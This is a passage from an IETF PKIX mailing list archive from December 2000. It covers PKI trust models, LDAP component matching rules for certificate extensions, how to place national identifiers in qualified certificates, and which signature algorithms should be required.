   Contact information is another thing which should be supplied in the
transaction as attributes
B.5 Adds an "organizational signature" (=stamp) to the unsigned transaction
B.6 Saves the re-signed transaction as a receipt versus the "outside" /
receiver
C. Sends the re-signed transaction to the end-destination

The Stamp (organization certificate) can preferably be issued by a TTP and
be published on the
organization's home-page for easy reference. Can PKI be simpler?  You may
think that this
trust model is very primitive as there is no [external] granularity, but
this is by design.  Simplicity
has an advantage: It can be communicated and implemented.  Organization
certificates then become
the true digital replacements to company letterheads.  For the rare
instances you [externally] need
tighter bindings, you can always dual-sign transactions, add TSP etc.  The
bottom
line is that the basic infrastructure is still intact!

Using the above approach the "information tunnel" between organizations is
minimized and
scalability is optimized. And with backtracking and archiving is built-in.

This is actually the way banks operate. I.e. their clients are only [fully]
known and trusted locally,
while the banks as organizations have their own interoperable and trusted
domain .

And in similarity to banks this allows the clients security solutions
develop in
a different pace (and uncoordinated among organizations), versus the
inter-organization
security solutions.

Using TTPs and ASPs, Thin PKI scales downwards as well.  Any organization
will be able to use digital signatures with ease.  As they already can with
Internet-banks.

Note1: I have yet to see a single classical PKI program having acceptable
(and particularly
DEPLOYABLE) solutions to archiving, authority control, and backtracking.

Note2: I did not invent this model. The banks did (in principal). 200-300
years ago...
Using PKI, secure servers, LDAP and transaction databases,  it gets really
cool!

Anders Rundgren
co-founder
X-OBI
+46 70 - 627 74 37

------=_NextPart_000_0005_01C06ADB.44EC68E0
Content-Type: text/x-vcard;
	name="Aaron S. Carmichael (E-mail).vcf"
Content-Disposition: attachment;
	filename="Aaron S. Carmichael (E-mail).vcf"
Content-Transfer-Encoding: quoted-printable

BEGIN:VCARD
VERSION:2.1
N:Carmichael;Aaron
FN:Aaron S. Carmichael (E-mail)
ORG:TimeCertain
TITLE:VP Information Technology
TEL;WORK;VOICE:(202) 244-3243
TEL;HOME;VOICE:(202) 244-5125
TEL;CELL;VOICE:(202) 255-2502
TEL;WORK;FAX:(202) 244-5694
ADR;WORK:;;2840 Chesapeake St. NW;Washington;D.C.;20008-1044;United =
States of America
LABEL;WORK;ENCODING=3DQUOTED-PRINTABLE:2840 Chesapeake St. =
NW=3D0D=3D0AWashington, D.C. 20008-1044=3D0D=3D0AUnited States o=3D
f America
REV:20000802T043915Z
END:VCARD

------=_NextPart_000_0005_01C06ADB.44EC68E0--



From owner-ietf-pkix@imc.org  Thu Dec 21 02:17:59 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA12914
	for <pkix-archive@odin.ietf.org>; Thu, 21 Dec 2000 02:17:58 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id XAA13092;
	Wed, 20 Dec 2000 23:13:46 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Wed, 20 Dec 2000 23:13:40 -0800
Received: from arnie.adacel.com.au (arnie.adacel.com.au [203.36.26.147])
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id XAA13007
	for <ietf-pkix@imc.org>; Wed, 20 Dec 2000 23:13:31 -0800 (PST)
Received: (qmail 21704 invoked from network); 21 Dec 2000 07:21:17 -0000
Received: from unknown (HELO osmium) (203.8.85.176)
  by arnie.adacel.com.au with SMTP; 21 Dec 2000 07:21:17 -0000
Reply-To: <steven.legg@adacel.com.au>
From: "Steven Legg" <steven.legg@adacel.com.au>
To: "'David Chadwick'" <d.w.chadwick@salford.ac.uk>
Cc: "'PKIX'" <ietf-pkix@imc.org>, "'OSI X.500'" <osidirectory@az05.bull.com>
Subject: RE: Matching rules for LDAP
Date: Thu, 21 Dec 2000 18:17:25 +1100
Message-ID: <002001c06b1e$12810490$b05508cb@osmium.adacel.com.au>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2377.0
X-Mimeole: Produced By Microsoft MimeOLE V4.72.2120.0
Importance: Normal
In-Reply-To: <3A38F6C7.B2E0E0F5@salford.ac.uk>
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit


David,

> At the PKIX meeting yesterday there was insufficient time to go through
> all the proposed agenda items. One topic that fell off the bottom was
> new LDAP schema for PKIs and PMIs. I had prepared a presentation listing
> a number of topics that need to be resolved, so I reproduce these here
> below, so that we can get some discussion of them on the list.


> Should we allow LDAP attribute names to be used instead of OIDs to
> reference attributes in attribute certificate matching

My preference would be no, however we could wait to see what happens
in LDAPbis to address non-uniqueness of attribute names in DNs,
and then use the same resolution.


> Do we need the full richness of the X.500 matching rules or can we use a
> subset of them
> e.g. can we use name constraints based on whole subtrees rather than on
> chopped subtrees
>
> Do we need to add matching rules for cross certificates and/or S/MIME
> certificates


> X.509 has used different matching methods for PKIs and PMIs. PKI has one
> complex flexible matching rule holding most standard extensions. PMI has
> a separate matching rules for each extension. Do we want to use the
> X.509 method or alternatively use the same method for both PKIs and
> PMIs. Personnally I think X.509 got it wrong here, and should have
> devised separate matching rules for each extension for both PKIs and
> PMIs. Then when new extensions are defined, new LDAP matching rules can
> be defined to go with them.
>
> How many extension matching rules should we define for PMIs.
> none, the most popular ones (which are they), or all?

The component matching rules concept, with some tweaks, makes these
questions go away. Knowing the ASN.1 type of a value (or component
part, like an extension) is sufficient to implicitly and completely
define a wide range of useful matching capabilities. There is no need
to define new extension-specific matching rules or assign new LDAP
syntax OIDs for the matching rule assertion syntaxes. Section 8 of
the component matching rules draft also defines what the LDAP string
encoding would be.

The Certificate and AttributeCertificate extensions present a
special problem in that the value of the extension is carried
as a DER encoding in an OCTET STRING component. The component
matching rules as currently defined can only do an octetStringMatch
of the entire extension value, but I can see a couple of ways
around this to define a matching capability that is a superset of
the current extension matching rules, with a fraction of the
descriptive text.

The first solution is to add a BOOLEAN field (I'll call it useContained)
to the ComponentAssertion syntax to allow the user to specify that
the content of a BIT STRING or OCTET STRING component is to be
treated as an open type. Under the existing component matching rule
framework this will allow the component parts of the DER encoded
extension value to be referenced and matched.

By way of example, I'll show how the component matching rules can be
used to perform matching just like the basicAttConstraintsMatch from
X.509:2000.

The basicAttConstraints extension has an OID of { 2 5 29 41 } and
a value syntax of:

    BasicAttConstraintsSyntax ::= SEQUENCE {
        authority            BOOLEAN DEFAULT FALSE,
        pathLenConstraint    INTEGER (0..MAX) OPTIONAL
    }

An LDAP filter to search for basicAttContraints extensions with
authority TRUE and a path length constraint of three looks like this:

(attributeCertificateAttribute:componentFilterMatch:=and:{
    item:{ component "toBeSigned.extensions.*.extnId",
        rule objectIdentifierMatch, value 2.5.29.41 } },
    item:{ component "toBeSigned.extensions.*.extnValue",
        useContained TRUE,
        value { rule componentFilterMatch,
            value and:{
                item:{ component "authority", rule booleanMatch, value
TRUE },
                item:{ component "pathLenConstraint",
                    rule integerMatch, value 3 } } } } } )

Breaking it down, this bit:

    item:{ component "toBeSigned.extensions.*.extnId",
        rule objectIdentifierMatch, value 2.5.29.41 } },

matches the relevant extension OID, this bit:

    item:{ component "toBeSigned.extensions.*.extnValue",
        useContained TRUE,

exposes the contents of the extnValue OCTET STRING as a value
of BasicAttConstraintsSyntax ASN.1 type, and this bit:

        value { rule componentFilterMatch,
            value and:{
                item:{ component "authority", rule booleanMatch, value
TRUE },
                item:{ component "pathLenConstraint",
                    rule integerMatch, value 3 } } }

tests whether the extension value has the authority and path length
constraint I'm looking for.


The second solution is to use a special-purpose matching rule to do
the job of exposing the extension value.

    containingMatch MATCHING-RULE ::= {
        -- can only be applied to OCTET STRING or BIT STRING attribute
values,
        -- or components, containing an encoded value of some ASN.1 type
        SYNTAX  ContainingAssertion
        ID      { ... } }

    ContainingAssertion ::= SEQUENCE {
        rule    MATCHING-RULE.&id,
            -- the matching rule to apply to the decoded contents
            -- of the OCTET STRING or BIT STRING
        value   MATCHING-RULE.&AssertionType
            -- an assertion value for the matching rule -- }

The LDAP filter would then look like this instead:

(attributeCertificateAttribute:componentFilterMatch:=and:{
    item:{ component "toBeSigned.extensions.*.extnId",
        rule objectIdentifierMatch, value 2.5.29.41 } },
    item:{ component "toBeSigned.extensions.*.extnValue",
        rule containingMatch,
        value { rule componentFilterMatch,
            value and:{
                item:{ component "authority", rule booleanMatch, value
TRUE },
                item:{ component "pathLenConstraint",
                    rule integerMatch, value 3 } } } } })

I'd prefer this second solution because it allows special-case and weird
matching semantics to be kept out of the basic component matching rule
definitions.

The extension matching rules in X.509 seem to follow a general pattern
of "the matching rule returns TRUE if the stored value contains the foobar
extension and if components that are present in the assertion value
match the corresponding components of the stored value". This suggests
a convenience matching rule to make things simpler for PKI. The
directoryComponentsMatch matching rule tests if components that are
present in the assertion value match components of the stored
value, but also tests that components not present in the assertion
value are also absent in the stored value. I could define a
directoryComponentSubsetMatch that only tests if components that are
present in the assertion value match components of the stored
value. Using such a rule, the last example filter reduces to:

(attributeCertificateAttribute:componentFilterMatch:=and:{
    item:{ component "toBeSigned.extensions.*.extnId",
        rule objectIdentifierMatch, value 2.5.29.41 } },
    item:{ component "toBeSigned.extensions.*.extnValue",
        rule containingMatch,
        value { rule directoryComponentSubsetMatch,
            value { authority TRUE, pathLenConstraint 3 } } } } )

I picked on an extension with a simple structure as my example.
The usefulness of directoryComponentSubsetMatch would be more evident
on some of the more complex extension syntaxes.

By the way, by comparison to the component matching rules I find the
descriptions of the semantics of some of the extension matching rules
seriously underspecified. There would appear to be plenty of
opportunities for different interpretations by different implementors.

Regards,
Steven

> This should give folks enough to think about whilst I take the plane
> home later today
>
> David
>
>
> --
> *****************************************************************
>
> David Chadwick, BSc PhD
> Post: IS Institute, University of Salford, Salford M5 4WT
> Tel: +44 161 295 5351  Fax +44 161 745 8169
> Mobile: +44 790 167 0359
> Email: D.W.Chadwick@salford.ac.uk
> Home Page:  http://www.salford.ac.uk/its024/chadwick.htm
> Research Projects: http://sec.isi.salford.ac.uk
> Understanding X.500:  http://www.salford.ac.uk/its024/X500.htm
> X.500/LDAP Seminars: http://www.salford.ac.uk/its024/seminars.htm
> Entrust key validation string: MLJ9-DU5T-HV8J
>
> *****************************************************************



From owner-ietf-pkix@imc.org  Thu Dec 21 04:12:35 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA13701
	for <pkix-archive@odin.ietf.org>; Thu, 21 Dec 2000 04:12:35 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id BAA01908;
	Thu, 21 Dec 2000 01:08:30 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 21 Dec 2000 01:08:18 -0800
Received: from odin2.bull.net (odin2.bull.net [192.90.70.84])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id BAA01822
	for <ietf-pkix@imc.org>; Thu, 21 Dec 2000 01:08:16 -0800 (PST)
Received: from lvt-mail.frlv.bull.fr (lvt-mail.frlv.bull.fr [129.184.62.223])
	by odin2.bull.net (8.9.3/8.9.3) with ESMTP id KAA23482;
	Thu, 21 Dec 2000 10:17:59 +0100
Received: from bull.net (fradint30.bull.fr [129.181.85.30])
	by lvt-mail.frlv.bull.fr (8.9.2/8.9.1) with ESMTP id KAA20168;
	Thu, 21 Dec 2000 10:10:50 +0100
Message-ID: <3A41C918.3A44C888@bull.net>
Date: Thu, 21 Dec 2000 10:10:49 +0100
From: Denis Pinkas <Denis.Pinkas@bull.net>
X-Mailer: Mozilla 4.5 [fr] (Win95; I)
X-Accept-Language: fr
MIME-Version: 1.0
To: juancarlos.perez@acepta.com
CC: Ietf-Pkix <ietf-pkix@imc.org>
Subject: Re: National Identifier into Serial Number or SubjectAltName? (Was: Why  
 don't using Permanent Identifier on QC certificates?)
References: <OMEPKMCLOLGHNMNOJKKIGEFHCCAA.juancarlos.perez@acepta.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit

> I understand that SerialNumber isn't *optional*, because DN has to be
> unique, if the CN isn't unique.
>
> By example, two persons that have equal names (CN, givenName.
>
> C= CL, O= My org, OU = my Unit, CN = Jhon Davis and National ID 123
> C= CL, O= My org, OU = my Unit, CN = Jhon Davis and National ID 444

I would use a different example:

C= CL, O= My org, OU = my Unit, CN = Jhon Davis and serial number = 22
C= CL, O= My org, OU = my Unit, CN = Jhon Davis and serail number = 23

These two individuals are different. Their names are unique. However, their
serial numbers no NOT relate to any national identification scheme. The PI could
suport a national identification scheme or any other identification scheme.

This means that there exist cases where both the serial number from the DN and
the PI have some reason to co-exist.

Denis


> Using QC, is need to incorporate National ID into DN, for uniquiness =>
> SerialNumber = 123, and SerialNumber =444
>
> If we can using not unique DNs, we can put PI for identity uniqueness into
> QC.
>
> regards
>
> Juan Carlos



From owner-ietf-pkix@imc.org  Thu Dec 21 04:16:49 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA13781
	for <pkix-archive@odin.ietf.org>; Thu, 21 Dec 2000 04:16:48 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id BAA02544;
	Thu, 21 Dec 2000 01:12:41 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 21 Dec 2000 01:12:39 -0800
Received: from odin2.bull.net (odin2.bull.net [192.90.70.84])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id BAA02492
	for <ietf-pkix@imc.org>; Thu, 21 Dec 2000 01:12:37 -0800 (PST)
Received: from lvt-mail.frlv.bull.fr (lvt-mail.frlv.bull.fr [129.184.62.223])
	by odin2.bull.net (8.9.3/8.9.3) with ESMTP id KAA17210
	for <ietf-pkix@imc.org>; Thu, 21 Dec 2000 10:22:30 +0100
Received: from bull.net (fradint30.bull.fr [129.181.85.30])
	by lvt-mail.frlv.bull.fr (8.9.2/8.9.1) with ESMTP id KAA22888;
	Thu, 21 Dec 2000 10:15:11 +0100
Message-ID: <3A41CA20.8FD4BF2B@bull.net>
Date: Thu, 21 Dec 2000 10:15:12 +0100
From: Denis Pinkas <Denis.Pinkas@bull.net>
X-Mailer: Mozilla 4.5 [fr] (Win95; I)
X-Accept-Language: fr
MIME-Version: 1.0
To: Tom Gindin <tgindin@us.ibm.com>
CC: Ietf-Pkix <ietf-pkix@imc.org>
Subject: Re: National Identifier into Serial Number or SubjectAltName? (Was: Why 
 don'tusing Permanent Identifier on QC certificates?)
References: <OF0809177C.C0CB638E-ON852569BB.0059E761@somers.hqregion.ibm.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit

Tom,


>      Responses below.  One question brought up by this thread is whether QC
> should use PI now that PI has reached a similar point in the cycle.  When
> QC was at draft 3 while PI was brand new, there were reasons not to delay
> QC's for PI's, irrespective of PI's possible usefulness within QC's.  Those
> reasons no longer apply.

QC is now a RFC (Proposed Standard). Maybe it would be nice to add a section in
PI to explain how PI may be used in conjuction with a QC and explain more about
the use of serial number in the DN field from QC. This does not change any of
the basics from PI, but could provide useful information to the reader.

Denis


>      Most of the detailed responses below deal with the question of whether
> there is any reason to make the DN of a governmental assignment authority
> easily distinguishable from that of a private organization acting as an
> assignment authority.
>
>           Tom Gindin
>
> Juan Carlos Perez Aguayo <juancarlos.perez@acepta.com> on 12/20/2000
> 11:57:39 AM
>
> Please respond to <juancarlos.perez@acepta.com>
>
> To:   "Robert Moskowitz" <rgm-sec@htt-consult.com>
> cc:   "Ietf-Pkix" <ietf-pkix@imc.org>
> Subject:  National Identifier into Serial Number or SubjectAltName? (Was:
>       Why don't using Permanent Identifier on QC certificates?)
>
> May be isn't a good idea to incorporate Permanet Identifier into a QC, as
> Anders Rundgren did say to me:
>
> "...If you use QC DN must be unique so you really do not have an
> alternative
> but keep SerailNymber
> and insert a redundant SerialNumber in a PI entry.
>
> That's why I think PI is wrong. ..."
>
> My principal concern is about how to incorporate a national ID into a
> certificate, in a interoperable fashion.
>
> I don't know how many countries has National IDs, and if is desired that
> such ID could be to incorporated into a digital certificate, but in my
> country (CHILE) so happen, and I wish to using a standard solution...
>
> I think that QC is a good solution for certificates issued only a physical
> people, and when a require a unique statement of identity
>
> I like PI solution, mainly because I think that "Permanent Identifier" ia a
> separate concept, and should be outer the DN, but I am concern about how
> many support into the PKIX WG the PI has currently. Seem that QC has better
> support today.
>
> I am the Chief Technology Officer of a newly Certification Authority in my
> country (we are currently not in production yet, but soon I hope :) ), and
> I
> am strongly supporting "PKIX standards" for our certificates.
>
> If you are not interested in a discussion on Chilean National IDs and
> certificates, you might skip the
> rest of this message.
>
> In my country , Chile, the Civil Registry Authority issue a unique
> identifier (on a national domain) on birth. This ID is put into a plastic
> "identification card" (and biometrics information is on the card too).
> Every
> citizen has a ID. This ID is used for many transactions: tax pay, obtaining
> bank accounts, voting, ... Then I think that is nice to incorporate this ID
> into a certificate, as a "virtual" identification card (whidauth photo and
> biometrics).
>
> [Tom Gindin] Such an ID would be the most common case of a PI with the
> assignment authority set to C=CL.
>
> The companies must to obtain a ID assigned by the authority too. This ID
> uniquely identify the company into the country.
>
> [Tom Gindin] The only issue in implementing this is what the correct
> assignment authority name would be.  If the ID's are not clearly
> incompatible (a different number of digits or an alpha prefix unique to
> companies, for example), they could not use the same assignment authority
> name.  Do we need to standardize a specific attribute value under a
> geographic unit (whether C, C + ST, C + L, or C + ST + L) to indicate
> organizational ID's while reserving the unqualified geographic unit name
> for personal ID's assigned by the government of that unit, or should the
> government just assign an organization name which will be human-readable
> but will differ between jurisdictions?  There is no obvious X.520 attribute
> to standardize under, nor any in RFC 1274 nor PKCS#9.
>
> Which do you think that is the PI draft future support?
>
> Thanks
>
> Juan Carlos Perez Aguayo
> CTO
> Acepta.com
> juancarlos.perez@acepta.com



From owner-ietf-pkix@imc.org  Thu Dec 21 10:52:05 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA22694
	for <pkix-archive@odin.ietf.org>; Thu, 21 Dec 2000 10:52:04 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id HAA03591;
	Thu, 21 Dec 2000 07:48:42 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 21 Dec 2000 07:47:57 -0800
Received: from mail.spyrus.com (mail.spyrus.com [207.212.34.20])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA03507
	for <ietf-pkix@imc.org>; Thu, 21 Dec 2000 07:47:55 -0800 (PST)
Received: from RHOUSLEY-PC.spyrus.com ([209.172.119.210])
	by mail.spyrus.com (8.9.3/8.9.3) with ESMTP id HAA08218
	for <ietf-pkix@imc.org>; Thu, 21 Dec 2000 07:50:46 -0800 (PST)
Message-Id: <5.0.1.4.2.20001220115811.029c49c0@mail.spyrus.com>
X-Sender: rhousley@mail.spyrus.com
X-Mailer: QUALCOMM Windows Eudora Version 5.0.1
Date: Wed, 20 Dec 2000 12:05:57 -0500
To: <ietf-pkix@imc.org>
From: Russ Housley <housley@spyrus.com>
Subject: Re: Required Algorithms for Certificates
In-Reply-To: <000001c064a6$7f8ab780$564889cf@soaringhawk.net>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

As everyone who was at the meeting in San Diego knows, this posting lead to 
a long discussions in PKIX, S/MIME, and SAAG sessions.  Based on those 
discussions, I suggest a possible way forward for son-of-rfc2459.

CAs MUST be able to sign certificates and CRLs with at least one of the 
following:
         - DSA with SHA-1, or
         - RSA with SHA-1.

CAs MAY sign certificates and CRLs with any additional algorithms that they 
wish.

Certificate users MUST be able to validate signatures on certificates and 
CRLs with all of the following:
         - DSA with SHA-1, and
         - RSA with SHA-1.

Certificate users MAY validate signatures on certificates and CRLs with any 
additional algorithms that they wish.

Russ

At 05:45 PM 12/12/2000 -0800, Jim Schaad wrote:
>In reviewing the algorithm draft (draft-ietf-pkix-ipki-pkalgs-01.txt) again,
>I remembered that I did have one problem with the draft.  I think that it is
>fine that the certificate structure draft does not contain algorithm
>information.  However I feel that the algorithms draft needs to have some
>MUST style statements contained in it.  I propose adding the following text:
>
>To fully comply with this document, implementations MUST support DSA
>Signature (section 2.2.2).  Implementations MAY support MD2 RSA signatures
>for validation but MUST NOT create new certificates using this algorithm.
>Implementations MAY support all other algorithms in this document at their
>discretion.
>
>jim schaad



From owner-ietf-pkix@imc.org  Thu Dec 21 11:53:18 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA24197
	for <pkix-archive@odin.ietf.org>; Thu, 21 Dec 2000 11:53:17 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id IAA08020;
	Thu, 21 Dec 2000 08:49:32 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 21 Dec 2000 08:48:49 -0800
Received: from mailb.telia.com (root@mailb.telia.com [194.22.194.6])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA07928
	for <ietf-pkix@imc.org>; Thu, 21 Dec 2000 08:48:28 -0800 (PST)
Received: from d1o69.telia.com (d1o69.telia.com [62.20.144.241])
	by mailb.telia.com (8.9.3/8.9.3) with ESMTP id RAA16277;
	Thu, 21 Dec 2000 17:50:41 +0100 (CET)
Received: from mega (t6o69p67.telia.com [213.64.110.187])
	by d1o69.telia.com (8.10.2/8.10.1) with SMTP id eBLGoco21248;
	Thu, 21 Dec 2000 17:50:38 +0100 (CET)
Message-ID: <004501c06b6d$f05d2f60$0201a8c0@vincent.se>
From: "Anders Rundgren" <anders.rundgren@telia.com>
To: "PKIX-List" <ietf-pkix@imc.org>, <juancarlos.perez@acepta.com>,
        "Denis Pinkas" <Denis.Pinkas@bull.net>
References: <OMEPKMCLOLGHNMNOJKKIGEFHCCAA.juancarlos.perez@acepta.com> <3A41C918.3A44C888@bull.net>
Subject: Re: National Identifier into Serial Number or SubjectAltName? (Was: Why   don't using Permanent Identifier on QC certificates?)
Date: Thu, 21 Dec 2000 17:49:06 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id IAA07930
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 8bit

> I would use a different example:
> 
> C= CL, O= My org, OU = my Unit, CN = Jhon Davis and serial number = 22
> C= CL, O= My org, OU = my Unit, CN = Jhon Davis and serail number = 23
> 
> These two individuals are different. Their names are unique. However, their
> serial numbers no NOT relate to any national identification scheme. The PI could
> suport a national identification scheme or any other identification scheme.
> 
> This means that there exist cases where both the serial number from the DN and
> the PI have some reason to co-exist.

Juan and Denis,

Technically possible solution yes, but inserting disambiguating nonsense serial numbers in the DN when 
you actually have a unique identity number (national or other) seems like a very odd solution. 

For migration purposes CAs will have to continue "to put the identity in the DN" essentially 
until/if PI is built into the heart of all major RP software. The current solution is to use external "mapping 
software" that extract PI-info and supply "naming authority" externally. As the number of CAs that 
a given RP is likely to support/trust is likely to be fairly limited, this makes PI somewhat redundant. 

If PI instead had been targeted to support the existing DN mapping processes instead of creating new 
places to stuff partly redundant identity information (efectively "competing with DN"), it would had been a
nicer option.

Or you can of course use the following semantics: If there is a PI - ignore DN completely.  It should
only be used for "display purposes".  I find this neither compatible with current practice nor with QC.

Anders




From owner-ietf-pkix@imc.org  Thu Dec 21 13:15:30 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA26358
	for <pkix-archive@odin.ietf.org>; Thu, 21 Dec 2000 13:15:30 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id KAA10627;
	Thu, 21 Dec 2000 10:12:06 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 21 Dec 2000 10:11:57 -0800
Received: from ext-mail.valicert.com (ns1.valicert.com [63.65.221.10])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id KAA10586
	for <ietf-pkix@imc.org>; Thu, 21 Dec 2000 10:11:55 -0800 (PST)
Received: from CONVERSION-DAEMON by ext-mail.valicert.com (PMDF V5.2-33 #46613)
 id <0G5X00501K1FCF@ext-mail.valicert.com> for ietf-pkix@imc.org; Thu,
 21 Dec 2000 10:15:16 -0800 (PST)
Received: from polaris.valicert.com ([192.168.2.34])
 by ext-mail.valicert.com (PMDF V5.2-33 #46613)
 with ESMTP id <0G5X00565K1F4I@ext-mail.valicert.com>; Thu,
 21 Dec 2000 10:15:15 -0800 (PST)
Received: by exchange.valicert.com with Internet Mail Service (5.5.2650.21)
 id <Z17TSRVV>; Thu, 21 Dec 2000 10:11:57 -0800
Content-return: allowed
Date: Thu, 21 Dec 2000 10:11:52 -0800
From: Ambarish Malpani <ambarish@valicert.com>
Subject: RE: Required Algorithms for Certificates
To: "'Russ Housley'" <housley@spyrus.com>, ietf-pkix@imc.org
Message-id: <613B3C619C9AD4118C4E00B0D03E7C3E6EBCE8@exchange.valicert.com>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-type: text/plain;	charset="iso-8859-1"
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe


Hi Russ,
    Shouldn't RSA be the MUST.

What SAAG didn't conclude on was whether DSA should also be a MUST.
While I don't have a strong opinion on that, I think DSA should
just be a MAY, so that CAs who have clients who demand DSA can
implement it, while those who don't, don't need to, just to be
compliant.

The way you posted the mail, it should like neither DSA nor RSA are
a must, but (DSA or RSA) is a MUST.


A

---------------------------------------------------------------------
Ambarish Malpani
Architect                                                650.567.5457
ValiCert, Inc.                                  ambarish@valicert.com
339 N. Bernardo Ave.                          http://www.valicert.com
Mountain View, CA 94043


> -----Original Message-----
> From: Russ Housley [mailto:housley@spyrus.com]
> Sent: Wednesday, December 20, 2000 9:06 AM
> To: ietf-pkix@imc.org
> Subject: Re: Required Algorithms for Certificates
> 
> 
> As everyone who was at the meeting in San Diego knows, this 
> posting lead to 
> a long discussions in PKIX, S/MIME, and SAAG sessions.  Based 
> on those 
> discussions, I suggest a possible way forward for son-of-rfc2459.
> 
> CAs MUST be able to sign certificates and CRLs with at least 
> one of the 
> following:
>          - DSA with SHA-1, or
>          - RSA with SHA-1.
> 
> CAs MAY sign certificates and CRLs with any additional 
> algorithms that they 
> wish.
> 
> Certificate users MUST be able to validate signatures on 
> certificates and 
> CRLs with all of the following:
>          - DSA with SHA-1, and
>          - RSA with SHA-1.
> 
> Certificate users MAY validate signatures on certificates and 
> CRLs with any 
> additional algorithms that they wish.
> 
> Russ
> 
> At 05:45 PM 12/12/2000 -0800, Jim Schaad wrote:
> >In reviewing the algorithm draft 
> (draft-ietf-pkix-ipki-pkalgs-01.txt) again,
> >I remembered that I did have one problem with the draft.  I 
> think that it is
> >fine that the certificate structure draft does not contain algorithm
> >information.  However I feel that the algorithms draft needs 
> to have some
> >MUST style statements contained in it.  I propose adding the 
> following text:
> >
> >To fully comply with this document, implementations MUST support DSA
> >Signature (section 2.2.2).  Implementations MAY support MD2 
> RSA signatures
> >for validation but MUST NOT create new certificates using 
> this algorithm.
> >Implementations MAY support all other algorithms in this 
> document at their
> >discretion.
> >
> >jim schaad
> 


From owner-ietf-pkix@imc.org  Thu Dec 21 14:06:41 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA27649
	for <pkix-archive@odin.ietf.org>; Thu, 21 Dec 2000 14:06:40 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id LAA14902;
	Thu, 21 Dec 2000 11:02:44 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 21 Dec 2000 11:00:57 -0800
Received: from localhost.localdomain ([206.48.156.90])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id LAA14734
	for <ietf-pkix@imc.org>; Thu, 21 Dec 2000 11:00:40 -0800 (PST)
Received: from jperez ([192.168.4.178])
	by localhost.localdomain (8.9.3/8.9.3) with SMTP id QAA26861;
	Thu, 21 Dec 2000 16:01:21 -0500
Reply-To: <juancarlos.perez@acepta.com>
From: =?iso-8859-1?Q?Juan_Carlos_P=E9rez_Aguayo?= <juancarlos.perez@acepta.com>
